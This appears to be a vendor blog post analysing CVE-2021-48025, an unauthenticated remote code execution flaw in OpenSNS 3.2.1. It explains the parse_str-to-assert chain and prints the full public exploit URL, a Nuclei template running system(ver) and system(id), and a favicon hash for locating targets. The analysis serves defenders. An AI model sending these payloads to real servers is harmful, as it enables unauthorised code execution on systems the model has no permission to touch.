Automated Threat Modeling

Quick Look: OpenSNS 3.2.1 CVE-2021-48025 Unauthenticated RCE via weibo/Share/shareBox (with PoC)

A short summary of CVE-2021-48025, an unauthenticated code injection flaw in OpenSNS 3.2.1's ShareController that reaches PHP assert through unsafe reflection. Includes the public proof of concept request and the advisory details that corroborate it.

CVE Analysis

6 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-18

Quick Look: OpenSNS 3.2.1 CVE-2021-48025 Unauthenticated RCE via weibo/Share/shareBox (with PoC)

Introduction

In October 2023, the Shadowserver Foundation saw real world exploitation against OpenSNS deployments, abusing a social sharing endpoint to run arbitrary code without authentication. The flaw, CVE-2021-48025, chains PHP's parse_str through a model lookup and into assert, which gives an unauthenticated attacker code execution on a reachable OpenSNS 3.2.1 instance.

OpenSNS is social networking software developed by Xiangtian Technology (associated with Jiaxing Xiangtian Information Technology) and marketed as a platform for building social websites, with extensible functionality delivered through a cloud marketplace. The vendor site advertises online upgrading and ongoing source updates. Because the product is a self hosted PHP application for building social sites, an exposed and vulnerable instance gives an attacker a direct, unauthenticated path to server side code execution.

Technical Information

The vulnerability is tracked as CWE-470, use of externally controlled input to select classes or code, commonly called unsafe reflection. The reviewed CVE record rates it Critical with a CVSS 3.1 score of 9.8, and the VulnCheck advisory records a CVSS 4.0 score of 9.3. The CVSS vector describes a network reachable attack that needs no privileges and no user interaction, with high confidentiality, integrity, and availability impact.

Root cause. The flaw sits in the shareBox method of OpenSNS 3.2.1's ShareController (Application/Weibo/Controller/ShareController.class.php). The method accepts a query parameter whose contents are parsed with PHP's parse_str. Because parse_str rebuilds an associative array from a supplied query string, an attacker can embed a nested query string and control both the structure and the keys of the resulting array. Those attacker controlled values then pass through ShareModel::getInfo, which selects and invokes arbitrary model methods.

Attack flow. The documented chain runs as follows:

  1. The attacker sends an unauthenticated GET request to /index.php?s=weibo/Share/shareBox with a crafted query parameter.
  2. parse_str parses the nested, URL encoded query string and rebuilds an id[] array whose keys the attacker controls.
  3. The parsed values reach ShareModel::getInfo, which allows invocation of arbitrary model methods, here selecting Schedule and its runSchedule method.
  4. Inside Schedule::runSchedule, crafted keys (for example id[1]=assert and id[args]=cmd=system(ver)) are passed into a PHP assert() call.
  5. Because assert evaluates its string argument as PHP code, the supplied command string runs on the server. The response reflects the command output, which confirms code execution.

No step requires authentication. The documented target fingerprint for identifying candidate instances is the favicon hash icon_hash="1167011145".

Proof of Concept

A working, public proof of concept exists and is documented identically across the PeiQi Wiki and the J1ezds Vulnerability Wiki. Both publish the same single GET request that reaches Schedule::runSchedule and executes system(ver) via assert:

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)

The URL encoded %26 separators embed a nested query string (app=Common&model=Schedule&method=runSchedule&...) so that parse_str rebuilds an id[] array whose crafted keys (id[1]=assert, id[args]=cmd=system(ver)) are passed into an assert() call. This turns the supplied command (system(ver) on Windows, replaceable with system(id) on Linux) into executed code. A response that reflects the command output, such as a Windows version banner or a uid= string, confirms RCE.

ProjectDiscovery's Nuclei template opensns-rce.yaml (id: opensns-rce, author gy741, severity critical) implements the same vector with two GET requests testing system(ver) and system(id):

http: - method: GET path: - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)' - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)' matchers-condition: and matchers: - type: regex part: body regex: - "uid=([0-9(a-z)]+)" - "Microsoft Windows" condition: or - type: word words: - "/Application/" - type: status status: - 200

The matchers confirm exploitation by detecting command output (uid=... from id, or the Microsoft Windows banner from ver) alongside an HTTP 200 response.

A VulnCheck advisory independently documents the same chain, abusing parse_str and ShareModel::getInfo to reach Schedule::runSchedule and execute code through assert. It notes that in the wild exploitation was first observed by the Shadowserver Foundation on 2023-10-14. Additional Goby PoC modules package the same OpenSNS RCE for the Goby scanner. These artifacts are consistent and reproducible against an unauthenticated OpenSNS 3.2.1 instance.

Affected Systems and Versions

The affected product is OpenSNS 3.2.1. The vulnerable code path is the shareBox method of the ShareController (Application/Weibo/Controller/ShareController.class.php), reachable at /index.php?s=weibo/Share/shareBox. The reviewed sources do not identify a fixed version or a CVE specific vendor patch, so no corrected release can be cited from these materials.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization